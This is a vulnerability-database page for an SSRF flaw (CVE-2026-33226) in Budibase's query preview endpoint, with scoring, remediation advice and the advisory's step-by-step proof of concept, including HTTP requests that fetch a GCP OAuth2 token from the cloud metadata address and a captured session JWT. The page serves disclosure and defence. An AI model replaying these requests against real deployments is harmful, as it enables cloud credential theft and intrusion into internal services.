Skip to main content

Kubernetes CVE-2026-33226

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-03-18 https://github.com/Budibase/budibase GHSA-4647-wpjq-hh7f
8.7
CVSS 3.1 · Vendor: https://github.com/Budibase/budibase
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as admin user
  2. Delivery
    Access REST datasource query preview endpoint
  3. Exploit
    Supply arbitrary internal URL in path parameter
  4. Execution
    Server makes unvalidated HTTP request
  5. Impact
    Retrieve cloud metadata or internal service responses

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authenticated admin user with access to REST datasource query preview endpoint. Attacker supplies arbitrary URL in fields.path parameter of POST /api/queries/preview to reach internal services (cloud metadata endpoints, databases, Kubernetes APIs). No victim interaction required.

Impact

This vulnerability presents critical real-world risk despite requiring high privileges (PR:H in CVSS vector). The changed scope (S:C) in CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N accurately reflects that compromise extends beyond the Budibase application boundary to cloud infrastructure and internal services. The proof-of-concept demonstrates trivial exploitation (AC:L) with immediate impact: GCP OAuth2 token theft grants full cloud-platform access, CouchDB compromise exposes all application data, and Kubernetes API access enables cluster-wide lateral movement. The vulnerability is particularly dangerous in cloud deployments (tagged Docker, Kubernetes, Google, Microsoft) where metadata endpoints are standard attack targets. While requiring admin credentials raises the bar, admin accounts are common targets for phishing and credential stuffing, and many organizations grant builder permissions broadly for low-code platform adoption. The availability of a complete, tested POC with actual credential theft evidence significantly increases exploitation likelihood. For cloud-hosted Budibase instances, this should be treated as a critical priority regardless of the PR:H requirement, as the scope change and demonstrated cloud credential theft represent material business risk.

Exploit ScenarioDerived

An attacker with stolen or compromised Budibase admin credentials authenticates to the platform and retrieves available REST datasource IDs through the public API endpoint. They then submit a malicious query preview request targeting http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token with appropriate metadata headers, causing the Budibase server to fetch and return a valid GCP OAuth2 access token with cloud-platform scope. Using this token, the attacker authenticates to GCP APIs and gains full control over the victim's cloud project, including the ability to read secrets, modify infrastructure, exfiltrate data from storage buckets and databases, and pivot to other connected services. The complete proof-of-concept with actual HTTP requests and stolen credentials demonstrates this attack requires only basic HTTP client skills and succeeds with low complexity.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

Budibase, a low-code platform distributed as a Docker/Kubernetes application, contains a Server-Side Request Forgery (SSRF) vulnerability in its REST datasource query preview endpoint. Authenticated admin users can force the server to make HTTP requests to arbitrary URLs including cloud metadata services, internal networks, and Kubernetes APIs. A detailed proof-of-concept exists demonstrating theft of GCP OAuth2 tokens with cloud-platform scope, CouchDB credential extraction, and internal service enumeration. The CVSS score of 8.7 reflects high confidentiality and integrity impact with changed scope, requiring high privileges but low attack complexity.

RemediationAI

Organizations running Budibase should immediately consult the vendor security advisory at https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f for patched versions and upgrade instructions. Until patching is completed, implement network-level controls to restrict outbound HTTP requests from Budibase pods or containers using egress filtering rules that block RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback addresses (127.0.0.0/8, ::1/128), link-local ranges (169.254.0.0/16, fe80::/10), and internal DNS resolution for .svc.cluster.local domains. In cloud environments, use VPC firewall rules or security groups to prevent access to metadata endpoints (169.254.169.254) from Budibase workloads. For Kubernetes deployments, implement NetworkPolicy resources to restrict pod egress to only explicitly required external services. As an additional defense-in-depth measure, audit admin and builder role assignments to minimize the number of accounts with privileges to exploit this vulnerability, and monitor REST datasource creation and query preview API usage for suspicious activity targeting internal IP ranges or metadata endpoints.

Affected Packages

npm budibase no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability affects the Budibase npm package (pkg:npm/budibase) in the REST datasource query preview functionality implemented in packages/server/src/api/controllers/query.ts. The preview() handler accepts user-supplied fields.path parameters and passes them directly to node-fetch via RestClient.read() without validating hostnames or IP addresses against SSRF blocklists. This is a classic CWE-918 (Server-Side Request Forgery) issue where insufficient input validation allows attackers to abuse the server as a proxy. The application fails to block RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback addresses (127.0.0.1, ::1), link-local addresses (169.254.0.0/16 used by cloud metadata services), and Kubernetes internal DNS names (.svc.cluster.local). The vulnerability is exploitable through the standard HTTP API using session-based authentication (JWT cookies), requiring only that the attacker have admin or builder role privileges and access to a valid REST datasource ID.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Budibase/budibase) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/Budibase/budibase) · only source for this CVE.

CVSS VectorVendor: https://github.com/Budibase/budibase

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet - including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.

Details

The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

fields.path  →  RestClient.read({ path })  →  node-fetch(path)

No blocklist exists for:

  • Loopback (127.0.0.1, ::1)
  • RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x)
  • Link-local / cloud metadata (169.254.x.x)
  • Internal Kubernetes DNS (.svc.cluster.local)

The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST - no base URL is required and fields.path overrides it entirely.

PoC

Step 1 - Get session token

http
POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}

Response sets Cookie: budibase:auth=<JWT>.

Step 2 - Get a REST datasourceId

http
GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b

Pick any _id where "source": "REST".

Captured from this engagement:

  • Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
  • App ID: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
  • REST datasource ID: datasource_49d5a1ed1c6149e48c4de0923e5b20c5

Step 3 - Send SSRF request

Change fields.path to any internal URL. Examples below.

3a. Cloud metadata - GCP OAuth2 token

http
POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json

{
  "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
  "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "", "requestBody": ""
  },
  "schema": {}
}

Response:

json
{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}

Impact

_What kind of vulnerability is it? Who is impacted?_ Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:

  • Cloud credential theft - GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.
  • Internal database access - CouchDB reached at budibase-svc-couchdb:5984 with extracted credentials, exposing all application data.
  • Internal service enumeration - MinIO (minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable.
  • Kubernetes cluster access - K8s API server reachable at kubernetes.default.svc using the pod's mounted service account token.

The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.

Detected by: Abdulrahman Albatel Abdullah Alrasheed

Executive ViewAI

Why It Matters

Budibase instances are vulnerable to Server-Side Request Forgery attacks that allow authenticated administrators to extract sensitive credentials and cloud tokens from internal systems and cloud metadata services. Organizations using Budibase in production environments with access to cloud infrastructure or sensitive internal networks face immediate risk of credential compromise and unauthorized cloud service access.

Business Impact: Severe
Compensating Controls

Disable the REST datasource query preview feature entirely if not actively required for operations. Implement network-level blocking between Budibase and cloud metadata service endpoints (GCP: 169.254.169.254, AWS: 169.254.169.254). Deploy WAF rules to block requests from Budibase to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) and Kubernetes API endpoints. Implement egress filtering to whitelist only required external destinations. Require MFA for all admin accounts and implement audit logging on all REST datasource queries. Run Budibase with minimal IAM/RBAC permissions and restrict service account credentials used by the application.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)CVE.org

pkg:npm/budibase

Related Vulnerabilities in SSRF and Server-Side Request Forgery

View all 2
CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy